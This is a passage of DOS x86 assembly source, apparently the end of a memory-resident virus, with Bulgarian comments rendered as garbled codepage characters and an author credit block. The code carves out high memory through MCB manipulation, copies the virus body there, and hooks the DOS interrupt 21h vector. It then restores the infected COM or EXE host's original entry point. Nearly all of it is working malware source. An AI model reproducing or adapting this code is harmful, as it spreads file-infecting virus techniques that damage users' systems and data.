- cmp ax,0C2F6h
- jne loc_12 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,7580h
- jne loc_11 ; Jump if not equal
- loc_10:
- inc si
- lodsw ; String [si] to ax
- cmp ax,40CDh
- je loc_13 ; Jump if equal
- sub si,3
- loc_11:
- dec si
- dec si
- loc_12:
- dec si
- loop locloop_8 ; Loop if cx > 0
- jmp short loc_14
- loc_13:
- sub si,7
- mov cs:[di-comp13],si ; (64BB:06F4=9090h)
- mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h)
- loc_14:
- mov ah,62h
- int 21h
- mov es,bx
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h,
- ; release memory block, es=seg
- mov bx,0FFFFh
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h,
- ; allocate memory, bx=bytes/16
- sub bx,vir_length/10h+2
- jc go_to_program ; Jump if carry Set
- mov cx,es
- stc ; Set carry flag
- adc cx,bx
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah,
- ; change mem allocation, bx=siz
- mov bx,vir_length/10h+1
- stc ; Set carry flag
- sbb es:[02h],bx ; (FF95:0002=0B8CFh)
- push es
- mov es,cx
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah,
- ; change mem allocation, bx=siz
- mov ax,es
- dec ax
- mov ds,ax
- mov word ptr ds:[01h],08h ; (FEAD:0001=1906h)
- call sub_10
- mov bx,ax
- mov cx,dx
- pop ds
- mov ax,ds
- call sub_10
- add ax,ds:[06h] ; (FF95:0006=0C08Eh)
- adc dx,0
- sub ax,bx
- sbb dx,cx
- jc allright ; Jump if carry Set
- sub ds:[06h],ax ; (FF95:0006=0C08Eh)
- allright:
- mov si,di ;
- xor di,di ; «▓¼Ñ▒▓óá¡Ñ ▒»░┐¼« ▒Ñú¼Ñ¡▓á
- push cs ; │▒▓á¡«ó┐óá¡Ñ ¡á
- pop ds ; ░Ñú¿▒▓░¿▓Ñ
- sub si,offset kt1 - offset entry_point ; DS:SI
- mov cx,vir_length ; ¿º╖¿▒½┐óá¡Ñ ░ẼÑ░á
- inc cx ; ¡á ó¿░│▒á
- rep movsb ; »░Ñ╡ó║░½┐¡Ñ ¡á ó¿░│▒á
- mov ah,62h
- int 21h
- dec bx
- mov ds,bx
- mov byte ptr ds:[0],5ah
- mov dx,offset virus ; DX - «▓¼Ñ▒▓óá¡Ñ ¡á ¡«ó¿┐ óѬ▓«░
- xor ax,ax
- push ax
- pop ds
- mov ax,es
- sub ax,10h
- mov es,ax
- cli
- mov ds:[21h*4],dx
- mov ds:[21h*4+2],es
- sti
- dec byte ptr ds:[47bh]
- go_to_program: ;
- pop si ; ºá░Ѫñá¡Ñ ¡á SI «▓ ▒▓Ѭá
- cmp word ptr cs:[si-compbuff],'ZM'
- jnz com_ret
-
-
- exe_ret proc far
-
- pop ds
- mov ax,word ptr cs:[si-comp_code]
- mov bx,word ptr cs:[si-compbuff1+2]
- push cs
- pop cx
- sub cx,ax
- add cx,bx
- push cx
- push word ptr cs:[si-compbuff1]
- push ds
- pop es
- call zero_regs ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
- ret
-
- exe_ret endp
-
-
- com_ret:
- pop ax
- mov ax,cs:[si-compbuff] ;
- mov cs:[100h],ax ; ó║º▒▓á¡«ó┐óá¡Ñ
- mov ax,cs:[si-compbuff+2] ; «░¿ú¿¡á½¡¿▓Ñ
- mov cs:[102h],ax ; ¿¡▒▓░│¬╢¿¿
- mov ax,100h ; »«ú«▓«ó¬á ¡á áñ░Ñ▒ CS:100
- push ax ; áñ░Ñ▒ ¡á ó░║╣á¡Ñ cs:ax
- push cs ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á
- pop ds ; DS
- push ds ; ¿
- pop es ; ES
- call zero_regs ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
- ret ; »░Ñ╡«ñ ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
- endpr: ; ¬░á⌐ ¡á »░«╢Ññ│░á▓á
-
- code ends ; ¬░á⌐ ¡á »░«ú░á¼á▓á
- end entry_point ; ó╡«ñ¡á ▓«╖¬á »░¿ ▒▓á░▓¿░á¡Ñ
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; ƒ¡¿ ï╛í«¼¿░«ó ü░ᡬ«ó , î¿╡á⌐½«óú░áñ │½."â.äá¼┐¡«ó" 6
- ; , ▓ѽ.2-13-34
- ; ï╛í«¼¿░ îá▓ÑÑó îá▓ÑÑó , æ«┤¿┐ │½."ü│ñá»Ñ╣á" 14
- ; , ▓ѽ.80-28-26
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀